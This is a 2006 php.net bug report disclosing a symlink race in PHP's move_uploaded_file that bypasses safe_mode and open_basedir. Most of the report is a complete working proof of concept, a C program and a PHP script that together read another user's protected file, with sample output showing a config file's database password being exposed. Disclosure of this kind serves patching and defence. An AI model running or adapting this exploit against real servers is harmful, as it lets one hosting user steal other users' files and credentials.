php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #36548 PHP move_uploaded_file symlink safe_mode/open_basedir bypass
Submitted: 2006-02-27 19:40 UTC Modified: 2006-03-08 01:00 UTC
From: pucik at gazeta dot pl Assigned:
Status: No Feedback Package: Unknown/Other Function
PHP Version: 5.1.2 OS: linux
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: pucik at gazeta dot pl
New email:
PHP Version: OS:

 

 [2006-02-27 19:40 UTC] pucik at gazeta dot pl
Description:
------------
Hi,

Vulnerable code is:

ext/standard/basic_functions.c


PHP_FUNCTION(move_uploaded_file)
{
      zval **path, **new_path;
      zend_bool successful = 0;

      if (!SG(rfc1867_uploaded_files)) {
            RETURN_FALSE;
      }

      if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &path, &new_path) !=
SUCCESS) {            ZEND_WRONG_PARAM_COUNT();
      }
      convert_to_string_ex(path);
      convert_to_string_ex(new_path);

      if (!zend_hash_exists(SG(rfc1867_uploaded_files), Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1)) {            RETURN_FALSE;
      }

      if (PG(safe_mode) && (!php_checkuid(Z_STRVAL_PP(new_path), NULL,
CHECKUID_CHECK_FILE_AND_DIR))) {            RETURN_FALSE;
      }

      if (php_check_open_basedir(Z_STRVAL_PP(new_path) TSRMLS_CC)) {
            RETURN_FALSE;
      }

      VCWD_UNLINK(Z_STRVAL_PP(new_path));
      if (rename(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)) == 0) {
            successful = 1;
      } else
            if (php_copy_file(Z_STRVAL_PP(path), Z_STRVAL_PP(new_path)
TSRMLS_CC) == SUCCESS) {            VCWD_UNLINK(Z_STRVAL_PP(path));
            successful = 1;
      }

      if (successful) {
            zend_hash_del(SG(rfc1867_uploaded_files), Z_STRVAL_PP(path),
Z_STRLEN_PP(path)+1);      } else {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to move '%s' to
'%s'", Z_STRVAL_PP(path), Z_STRVAL_PP(new_path));      }
      RETURN_BOOL(successful);
}


That function doesn`t check "path" parameter. For example it could be symlink to
file that can be read only by apache.


3. PoC

We must upload some file, unlink this file from upload_dir folder and create
symlink to file what we wont to read. There is a full working code:


/* -------------------------------- phpbug_upload.c -----------------*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

#define FILE_PATH "31337.txt"
#define LINKS_PATH "/usr/bin/links"

int main(int argc, char *argv[])
{
      int child;
      char buf[1024];
      char *url, *file;
      FILE *fp;
      memset(buf, 0, sizeof(buf));
      if(argc < 3)
      {
           printf("%s <php_file_url> <file_to_read>\n", argv[0]);
           exit(0);
      }

      url = argv[1];
      file = argv[2];

      child = fork();

      if(!child)
      {
           execl(LINKS_PATH, LINKS_PATH, "-source", url, NULL);
           perror("execl");
      }

      sleep(2);

      fp = fopen(FILE_PATH, "r");

      if(!fp)
      {
           perror("fopen");
           exit(-1);
      }

      fgets(buf, sizeof(buf), fp);

      fclose(fp);
      symlink(file, buf);

      wait();
      printf("\n");
      unlink(buf);
      return 0;
}
/* -------------------------------- phpbug_upload.c -----------------*/


/* -------------------------------- phpbug_upload.php -----------------*/
<?php

error_reporting(0);

if(isset($_FILES['plik']))
{
      $fp = fopen("31337.txt", "w");
      fputs($fp, $_FILES['plik']['tmp_name']);
      fclose($fp);
      chmod("31337.txt", 0777);
      unlink($_FILES['plik']['tmp_name']);
      sleep(4);
      move_uploaded_file($_FILES['plik']['tmp_name'],
$_FILES['plik']['name']."31337");      exit;
}

$fp = fsockopen($_SERVER["SERVER_ADDR"], 80, $errno, $errstr, 30);

if (!$fp) {
      echo "$errstr ($errno)<br />\n";
      exit;
}

$out = "POST " . $_SERVER['PHP_SELF'] . " HTTP/1.1\r\n";
$out .= "Host: " . $_SERVER["SERVER_NAME"] . "\r\n";
$out .= "Accept: */*\r\n";
$out .= "Content-Length: 196\r\n";
$out .= "Expect: 100-continue\r\n";
$out .= "Content-Type: multipart/form-data; "; 
$out .= "boundary=----------------------------c32f5965dde9\r\n\r\n";

fwrite($fp, $out);

fread($fp, 1024);

$out = "------------------------------c32f5965dde9\r\n";
$out .= "Content-Disposition: form-data; name=\"plik\";
filename=\"31337.txt\"\r\n"; $out .= "Content-Type: text/plain\r\n\r\n";
$out .=
"\r\nkurwamac\r\n\r\n------------------------------c32f5965dde9--\r\n\r\n";

fwrite($fp, $out);

while(!feof($fp))
      fread($fp, 1024);

fclose($fp);

readfile("31337.txt" . "31337");

unlink("31337.txt" . "31337");
unlink("31337.txt");

?>
/* -------------------------------- phpbug_upload.php -----------------*/


This is example of usage:

[czubakabra public_html]$ ls -l /home/users/test/public_html/config.php 
-r--------  1 http http 49 2006-01-01 19:01
/home/users/test/public_html/config.php

[czubakabra public_html]$ cat /home/users/test/public_html/config.php
cat: /home/users/test/public_html/config.php: Brak dost&#281;pu


[czubakabra public_html]$ links -source http://localhost/~czubakabra/test.php
<br />
<b>Warning</b>:  readfile() [<a href='function.readfile'>function.readfile</a>]:
open_basedir restriction in effect.
File(/home/users/test/public_html/config.php) is not within the allowed path(s):
(/home/users/pucik) in <b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br /> <br />
<b>Warning</b>:  readfile(/home/users/test/public_html/config.php) [<a
href='function.readfile'>function.readfile</a>]: failed to open stream:
Operation not permitted in <b>/home/users/czubakabra/public_html/test.php</b> on
line <b>3</b><br />


But we can do it, with exploit this vulnerability:

[czubakabra public_html]$ ./phpbug_upload
"http://localhost/~czubakabra/phpbug_upload.php"
/home/users/test/public_html/config.php 
<?

echo "hihyha";

$dbpass = "hax0rek";

?>

This is very usefully on server that hosting shell accounts. It works also on
SeLinux systems and others, then user is other domain.

Best regards,
Damian Put


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2006-02-28 09:27 UTC] tony2001@php.net
Please provide unified diff with detailed explanations.
 [2006-03-08 01:00 UTC] php-bugs at lists dot php dot net
No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to "Open".
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 14:01:32 2024 UTC